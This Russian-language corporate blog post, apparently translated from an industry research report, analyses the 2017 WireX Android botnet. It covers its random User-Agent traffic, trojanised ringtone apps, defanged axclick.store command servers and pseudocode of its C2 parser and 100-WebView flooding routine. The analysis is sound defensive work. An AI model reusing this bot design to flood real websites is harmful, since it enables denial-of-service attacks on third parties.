Pull to refresh
111.11
Cloud4Y
#1 Корпоративный облачный провайдер

Как остановить DDoS-атаку + анализ кода WireX Botnet

Reading time 9 min
Views 8.4K
Original author: Akamai InfoSec


17 августа 2017 года несколько контент-провайдеров и сетей доставки контента (CDN) подверглись масштабным атакам ботнета, получившего название WireX. Ботнет WireX включает в себя в основном Android-устройства и предназначен для создания DDoS-трафика. Несколько дней назад Google удалил сотни заражённых приложений, которые были доступны для скачивания в Play Маркет, и запустил процесс их удаления со всех устройств.

Исследователи из Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru и других организаций сотрудничали, объединившись для борьбы с этим ботнетом. Доказательства указывают на то, что ботнет, возможно, был активен уже 2 августа, но именно атака 17 августа привлекла внимание. Эта статья включает в себя совокупные знания и описывает усилия исследователей, работающих над нейтрализацией ботнета.

Детали атаки


Первые следы ботнет WireX оставил 2 августа в виде атак, которые в то время оставались незамеченными. Обнаружить их удалось, когда исследователи начали поиск записей User-Agent, состоящих из 26 символов в журналах. Первоначальные атаки были минимальными и вероятно, что вредоносное ПО находилось в разработке или на ранних этапах развертывания. Более длительные атаки были выявлены начиная с 15 августа, при этом в некоторых участвовало как минимум 70 000 IP-адресов (рисунок 1).

WireX — это DDoS-атака на уровне приложения. Трафик, создаваемый узлами атаки, является в основном HTTP GET запросами, хотя некоторые варианты приложений, похоже, способны выдавать POST запросы. Другими словами, ботнет создает трафик, напоминающий настоящие запросы от обычных HTTP-клиентов и веб-браузеров.


Рисунок 1: Предполагаемый рост бот-сети на основе количества уникальных IP-адресов, наблюдаемых при атаках в час.

Большая часть трафика из этого ботнета отличалась использованием HTTP-запросов User-Agent в виде случайной последовательности строчных букв английского алфавита.

Некоторые из записей User-Agent:

User-Agent: jigpuzbcomkenhvladtwysqfxr
User-Agent: yudjmikcvzoqwsbflghtxpanre
User-Agent: mckvhaflwzbderiysoguxnqtpj
User-Agent: deogjvtynmcxzwfsbahirukqpl
User-Agent: fdmjczoeyarnuqkbgtlivsxhwp
User-Agent: yczfxlrenuqtwmavhojpigkdsb
User-Agent: dnlseufokcgvmajqzpbtrwyxih


Также были обнаружены варианты вредоносного ПО, испускающие записи User-Agent различной длины с расширенным набором символов. Вот несколько примеров:

User-Agent: xlw2ibhqg0i
User-Agent: bg5pdrxhka2sjr1g
User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q
User-Agent: fge26sd5e1vnyp3bdmc6ie0
User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3)
Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7)
Gecko/20071018 BonEcho/2.0.0.7
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us)
AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2


Отслеживание узлов атаки


Анализ данных о DDoS-атаке 17 августа показал, что участвовали устройства из более чем 100 стран мира, что является нехарактерной чертой для бот-сетей. Распределение атакующих IP-адресов наряду с особой записью User-Agent привело исследователей к догадке о том, что другие организации, возможно, тоже заметили или стали жертвами подобных атак. Начавшие расследования специалисты обратились к коллегам из других организаций для проверки этой гипотезы. Совместными усилиями расследование начало быстро развиваться. Анализ журналов показал связь между атакующими IP-адресами и вредоносными Android-приложениями.

Первые и последующие атаки включали запросы от приложения с одной и той же подписью. Это вывело исследователей на Android-приложение «twdlphqg_v1.3.5_apkpure.com.apk», которое они начали изучать, чтобы понять, как работает ботнет, и определить связанные приложения. Поиски выявили ещё несколько приложений от тех же авторов или авторов с аналогичным именем и сопоставимым описанием (рисунок 2). Когда новые приложения были найдены, началась работа по анализу их функционала.


Рисунок 2: Скриншот поисковой выдачи с аналогичными вредоносными программами.

Было несколько случаев, когда эти приложения были найдены в известных магазинах приложений для мобильных устройств. В ответ на уведомление о вредоносных приложениях Google предоставил следующий комментарий:

Мы идентифицировали приблизительно 300 приложений, связанных с проблемой, и заблокировали их в Play Маркет. Мы в процессе удаления их со всех заражённых устройств. Выводы исследователей в сочетании с нашим собственным анализом позволили нам лучше защитить пользователей Android .

Обзор вредоносных программ


Многие из приложений были в категориях медиа/видеоплееров, рингтонов или утилит, таких как менеджеры файлов и магазины приложений с дополнительными функциями, скрытыми для конечных пользователей. При запуске приложений вредоносные компоненты начинали свою работу, запрашивая у командного сервера, которым чаще всего был g.axclick.store, команду на начало и направление атаки.

Приложения с функциями участия в DDoS-атаках были доброкачественными для пользователей, которые их установили. Эти приложения также пользовались функциями сервисной архитектуры Android, позволяющей приложениям использовать системные ресурсы, даже находясь в фоновом режиме. Таким образом, атаки могли быть запущены, когда приложение не используется. В настоящее время антивирусы распознают эту вредоносную программу как троян «Android Clicker», но она не имеет ничего общего с мошенничеством на кликах. Вероятно, это вредоносное ПО было связано с подобным мошенничеством, но было перепрофилировано для DDoS-атак.

Анализ вредоносных программ


При проверке различных декомпилированных приложений было обнаружено несколько поддоменов одного корневого домена (axclick.store), которые, как предполагалось, были частью command and control (C2) инфраструктуры для бот-сети.

$ grep http * -R
com/twdlphqg/app/ExplorationActivity.smali:    const-string v3, "http://u[.]axclick[.]store/"  
com/twdlphqg/app/services/Ryiidrxcjmfb.smali:    const-string v1, "http://g[.]axclick[.]store/"  

Первый домен (u [.] Axclick [.] Store) не возвращал контент, а передавал пустой ответ 200 OK и, по-видимому, использовался для тестирования подключения к Интернету.

Второй домен (g [.] Axclick [.] Store) оказался связанным с DDoS-компонентами вредоносного ПО. Компонент приложения, ссылающийся на этот домен, отвечал за создание службы Android, оснащенной двумя экземплярами WebView. Android позволяет создать собственное окно для просмотра веб-страниц или даже создать свой клон браузера при помощи элемента WebView. Первый экземпляр WebView служил в качестве маяка, опрашивая сервер C2 для получения директив атаки. Второй служил ссылкой для клонирования WebView с целью атаки. Этот компонент также содержит логику для настройки этих атакующих экземпляров.

Обзор компонентов


Ниже, используя псевдокод на основе знаний, полученных из декомпилированных APK, отдельно рассмотрены части компонентов.

ServiceRunner

Цель компонента — продолжение работы приложения в фоновом режиме. Выполнение будет прекращено только в том случае, если приложение остановлено пользователем мобильного устройства или в случае перезагрузки устройства.

Псевдокод Service Runner

Class ServiceRunner extends Object {  
    Public function run() {
        DDoS_Service->poll_c2();
    }
}

Синтаксический анализатор C2

AttackCommandParser запускается, когда C2 WebView обнаруживает, что произошла загрузка страницы. Парсер загружает содержимое страницы и извлекает тело в качестве команды для атаки. На основе наблюдаемых образцов полезная нагрузка от C2 выглядит следующим образом:

<html>  
  <title>
  https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/
  </title>
</html>

Пример команды к атаке

Значение, извлеченное из тега title, затем проверяется с помощью String-> contains (), чтобы убедиться, что оно содержит разделитель snewxwri. Если он найден, содержимое разделяется. Затем полученное используется в качестве параметров, которые должны быть переданы методу DDoS_Service-> attack ().

Псевдокод парсинга ответов
Class AttackCommandParser extends WebViewClient {  
    Public function onPageFinished(C2_WebView,C2_url) {
        String pageTitle = C2_WebView->getTitle();
        if (pageTitle->contains(“snewxwri”) == true) {
            pageTitle = pageTitle->trim();
            Array commandParts = pageTitle.split(“snewxwri”);
            String target = commandParts[0];
            String userAgent = commandParts[1];
            String referer = commandParts[2];
            DDoS_Service->attack(target, userAgent, referer);
        }
    }
}


Служба DDoS

Основной функцией компонента DDoS_Service является создание WebView, чтобы загружать любой указанный URL, выбранный в C2 WebView, в сам контейнер WebView, а не запускать браузер. После этого запускается атака.

Псевдокод DDoS Service
Class DDoS_Service extends Object {  
    Public function onCreate() {
        Handler OS_Handler = new Handler();
        Object Runner = new ServiceRunner();
        OS_Handler->postDelayed(Runner,2);
    }
    Public function poll_c2() {
        WebViewClient C2_Parser = new AttackCommandParser();
        WebView C2_WebView = new WebView();
        WebViewSettings C2_WebView_Settings = C2_WebView->getSettings();
        C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE);
        C2_WebView->clearCache(true);
        C2_WebView->clearHistory();
        C2_WebView->setWebViewClient(C2_Parser);
        C2_WebView->loadUrl(“http://g[.]axclick[.]store”);
    }
    Public function attack(String target, String userAgent, String referer) {
        HashMap WebViewHeaders = new HashMap();
        WebViewHeaders->put(“Referer”,referer);
        WebViewHeaders->put(“X-Requested-With”,””);
        WebView[] AttackerViews = new WebView[100];
        for (int i=0; i<AttackerViews.length; i++) {
            AttackerViews[i] = new WebView();
            AttackerViews[i]->clearHistory();
            AttackerViews[i]->clearFormData();
            AttackerViews[i]->clearCache(true);
            WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings();
            AttackWebViewSettings->setJavaScriptEnabled(true);
            AttackWebViewSettings->setUserAgentString(userAgent);
            AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE);
            this->deleteDatabase(“webview.db”);
            this->deleteDatabase(“webviewCache.db”);
            AttackerViews[i]->loadUrl(target,WebViewHeaders);
        }
    }
}

Метод onCreate () создает новый экземпляр android/os/Handler и ServiceRunner. Метод poll_c2 () отвечает за постоянную перезагрузку WebView с помощью URL-адреса C2. Перед опросом доменов C2 служба очистит и отключит кэш, а также очистит историю экземпляров WebView. Эти шаги выполняются для обеспечения того, чтобы клиент всегда получал актуальную информацию и не обрабатывал запросы с помощью кэша. Метод attack () отвечает за создание фактического трафика атаки.

Пользовательский опыт при работе с вредоносным ПО


Хотя многие из заражённых приложений уже были удалены из Google Play Маркет, в сети остались зеркала, из которых возможно загрузить файлы APK. Мы загрузили «twdlphqg» (одно из атакующих приложений) на физический Samsung Galaxy S4 с Android Lollipop и патчами безопасности 2015 года.



Это приложение, как и остальные, которые мы тестировали, имело безобидные названия, такие как «Device Analysis», «Data Storage» «Package Manager» и прочее.

Когда приложение запускается, оно выглядит простым приложением для рингтонов. Предусмотрены только три мелодии звонка. Оно может воспроизводить и устанавливать рингтоны и не имеет других функций.



Это приложение запускает дополнительные процессы в фоновом режиме, которые продолжают работать и могут участвовать в DDoS-атаке, даже когда экран телефона заблокирован. Когда мы поставили телефон на зарядное устройство в режиме сна, процессы, отвечающие за DDoS-атаку, не прекращались.



Примечательно, что на данный момент устанавливать эти приложения невозможно, поскольку функция PlayProtect от Google блокирует их. Все приложения, которые были выявлены, стали частью кампании по удалению проблемных и уже установленных приложений с устройств. Теперь для запуска этого вредоносного ПО требуется отключение PlayProtect в настройках.



Вывод


Эти открытия были возможны только благодаря сотрудничеству между различным IT-организациями. У каждого был свой кусочек головоломки: без вклада каждой компании, этот ботнет, возможно, надолго остался бы загадкой.

Лучшее, что могут сделать организации при DDoS-атаке — делиться подробными метриками, связанными с атакой. С этой информацией те, кто специализируется на защите от DDoS, смогут узнать гораздо больше и минимизировать негативные последствия.

Полезные сведения могут включать в себя захваченные пакеты, списки атакующих IP-адресов, записи о выкупе, заголовки запросов и любые подозрительные шаблоны. Такие данные не должны содержать легитимного клиентского трафика, чтобы минимизировать проблемы конфиденциальности, а также потому, что подобный трафик может замедлить анализ. И самое главное, дать разрешение на передачу этих данных доверенным контактам в широком сообществе IT-безопасности, которые могут обладать необходимым опытом.

Выражаем благодарность исследователям из Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, ФБР и других организаций, которые не попали в список.
Tim April: Senior Security Architect @ Akamai
Chris Baker: Principal of Threat Intelligence @ Oracle Dyn
Matt Carothers
Jaime Cochran: Security Analyst @ Cloudflare
Marek Majkowski: Enthusiastic Geek @ Cloudflare
Jared Mauch: Internetworking Research and Architecture @ Akamai
Allison Nixon: Director of Security Research @ Flashpoint
Justin Paine: Head Of Trust & Safety @ Cloudflare
Chad Seaman: Sen. Security Intelligence Response Team Engineer @ Akamai SIRT
Darren Spruell: Threat Researcher @ RiskIQ
Zach Wikholm: Research Developer @ Flashpoint
и другие.
Tags:
Hubs:
+5
Comments 0
Comments Leave a comment

Articles

Information

Website
www.cloud4y.ru
Registered
Founded
2009
Employees
51–100 employees
Location
Россия
Representative